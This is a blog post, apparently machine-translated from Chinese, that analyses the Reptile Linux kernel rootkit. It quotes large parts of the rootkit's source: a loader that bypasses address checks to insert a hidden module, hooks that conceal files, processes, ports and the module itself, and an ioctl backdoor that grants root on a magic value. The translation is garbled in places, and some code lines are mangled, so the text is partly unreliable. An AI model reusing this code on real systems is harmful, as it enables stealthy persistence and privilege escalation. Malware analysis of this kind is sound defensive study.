LKM rootkit: Reptile learning

Brief introduction

Reptile is a very fire on github linux lkm rootkit, recently learned something linux rootkit, where the record about.

It is to analyze the realization of reptile

Reptile use

Installation command:

sudo ./setup.sh install

Then execute the following command

/reptile/reptile_cmd show

Then you can see / reptile something in the directory, which is the project files installed in the system, after installation, are hidden by default. Specific execute commands no longer go into details here

The following procedures will be

Reptile Principle Analysis

Reptile uses two other projects

. 1, khook : a kernel hook frame, specific analysis can be seen here https://www.cnblogs.com/likaiming/p/10970543.html

2, kmatryoshka : a dynamic loader module

Here the first analyze the realization of kmatryoshka

kmatryoshka

parasite_loader / main.c init_module function is the entry of a function. Under encrypt directories are encrypted representatives of the relevant parts.

Entire loader is inserted as a module into the kernel, the function of this module is to load the module user space handler sys_init_module is the system init_module function calls used, which is a derivation function to obtain this function by looking kallsyms address , you can use.

First look at the sys_init_module looking to achieve, using kallsyms_on_each_symbol function, passing a seek function can be found from the symbolic address to achieve the following two functions is used, the data [0] into're looking for, data [1 ] into the result.

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}

static inline unsigned long ksym_lookup_name(const char *name)
{
    unsigned long data[2] = { (unsigned long)name, 0 };
    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
    return data[1];
}

Then call this function init_module

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

After further obtains the symbol address when an incoming parasite_blob, i.e. the address of the destination module, but also thread_info structure addr_limit, the user address space is the maximum address, in init_module function, will address validator , use is addr_limit, where it will modify this value, ensure that the address check.

if (sys_init_module) {
        const char *nullarg = parasite_blob;
        unsigned long seg = user_addr_max();

        while (*nullarg) nullarg++;

        user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
        sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
        user_addr_max() = seg;
    }

Reptile

Back Reptile, home directory, parasite_loader is mentioned above project, khook is the kernel hook framework, sbin some user mode programs, reptile_cmd, etc. These programs are compiled by the following sbin program, script following script Some scripts are generated to store catalog, the following content is automatically deleted after installation. loader The following program is relatively simple, the main logic written in rep_mod, the following will mainly talk about the function of each function of this document

 The main function, khook_init used to initialize khook, magic_packet_hook_options netlink hook is, the START reptile_start is arranged in the setup script,

static int __init reptile_init(void)
{
    int ret;
    char *argv[] = {START, NULL, NULL};

    //创建工作线程
    work_queue = create_workqueue(WORKQUEUE);

    ret = khook_init();

    if (ret != 0)
        goto out;

    magic_packet_hook_options.hook = (void *)magic_packet_hook;
    magic_packet_hook_options.hooknum = 0;
    magic_packet_hook_options.pf = PF_INET;
    magic_packet_hook_options.priority = NF_IP_PRI_FIRST;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
    nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
    nf_register_hook(&magic_packet_hook_options);
#endif
    
    exec(argv);
    hide();
out:
    return ret;
}
// do not allow ordinary process to find a special process
KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
 
// TIF_SYSCALL_AUDIT bit privileged processes to be canceled, the flag structure in thread_info
Kःook (Odit_alloch);
static int khook_audit_alloc(struct task_struct *t)
 
// clean up cred structure when the flag is cleared privileged process
KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p)
 
// child process privilege process also need to have the privilege
KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
 
When the executable file is loaded //
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)

 

/*
User space books UDP port to use / proc / net / udp, seq_ops of this document show the operation is udp4_seq_show
Hide udp port
*/
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)

 

/*
User space books UDP port to use / proc / net / tcp, seq_ops of this document show the operation is tcp4_seq_show
Hide tcp port
*/
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

 

netlink hook

KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
                unsigned long arg)
{
    int ret = 0;
    unsigned int pid;
    struct control args;
    struct sockaddr_in addr;
    struct hidden_conn *hc;

    if (cmd == AUTH && arg == HTUA) {
        if (control_flag) {
            control_flag = 0;
        } else {
            control_flag = 1;
        }

        goto out;
    }

    if (control_flag && cmd == AUTH) {
        if (copy_from_user(&args, (void *)arg, sizeof(args)))
            goto out;

        switch (args.cmd) {
        //0则更改隐藏或是显示
        case 0:
            if (hide_module) {
                show();
                hidden = 0;
            } else {
                hide();
                hidden = 1;
            }
            break;
        case 1://根据pid设置进程的可见性
            if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
                goto out;

            if (is_invisible(pid))
                flag_tasks(pid, 0);
            else
                flag_tasks(pid, 1);

            break;
        case 2:
            if (file_tampering)
                file_tampering = 0;
            else
                file_tampering = 1;
            break;
        case 3://提权
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
            current->uid = 0;
            current->suid = 0;
            current->euid = 0;
            current->gid = 0;
            current->egid = 0;
            current->fsuid = 0;
            current->fsgid = 0;
            cap_set_full(current->cap_effective);
            cap_set_full(current->cap_inheritable);
            cap_set_full(current->cap_permitted);
#else
            commit_creds(prepare_kernel_cred(0));
#endif
            break;
        case 4://增加隐藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)
                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_tcp_conn);
            break;
        case 5://删除隐藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            list_for_each_entry(hc, &hidden_tcp_conn, list)
            {
                if (addr.sin_port == hc->addr.sin_port &&
                    addr.sin_addr.s_addr ==
                    hc->addr.sin_addr.s_addr) {
                    list_del(&hc->list);
                    kfree(hc);
                    break;
                }
            }
            break;
        case 6://增加隐藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)
                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_udp_conn);
            break;
        case 7://删除隐藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            list_for_each_entry(hc, &hidden_udp_conn, list)
            {
                if (addr.sin_port == hc->addr.sin_port &&
                    addr.sin_addr.s_addr ==
                    hc->addr.sin_addr.s_addr) {
                    list_del(&hc->list);
                    kfree(hc);
                    break;
                }
            }
            break;
        default:
            goto origin;
        }

        goto out;
    }

origin:
    ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
     Return the right; 
}
View Code

 

// read hook
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
             size_t count, loff_t *pos)

 

/*
A process of operation getdents
Speaking of hidden files, we may wish to look for file traversal, which is a system call getdents / getdents64, briefly browse its source code in kernel mode service function (sys_getdents) (located fs / readdir.c), we can see the following call hierarchy, sys_getdents -> iterate_dir -> struct file_operations where iterate -> here omitted a number of levels -> struct dir_context in the actor, that is filldir
filldir responsible for a record (for example, a file directory or a subdirectory) to fill the buffer returned
*/
These functions filldir
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
                loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
               loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
                   loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
                loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
                  loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
    return ret;
}
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
    struct dentry *found = NULL;
    if (!strstr(name->name, HIDE) || !hidden)
        found = KHOOK_ORIGIN(__d_lookup, parent, name);
    return found;
}

KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
    if (hidden) {
        while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
            if (!(iter.task->flags & FLAG))
                break;

            iter.tgid++;
        }
    } else {
        iter = KHOOK_ORIGIN(next_tgid, ns, iter);
    }
    return iter;
}
View Code

 

// hide content
int hide_content(void *arg, ssize_t size)
 
/*
Write content <$ TAG> </ $ TAG> middle
*/
// Check for hidden content needs
int f_check(void *arg, ssize_t size)
 
// see if the process is hidden, 0 hidden
int is_invisible(pid_t pid)
 
// set = 0 clarity privileges, set = 1 represents a privilege setting, setting bit pid
int flag_tasks(pid_t pid, int set)
 
// redisplay this module
void show(void)
 
// remove this module from the list in the global module
void hide(void)
 

Guess you like

Origin www.cnblogs.com/likaiming/p/10987804.html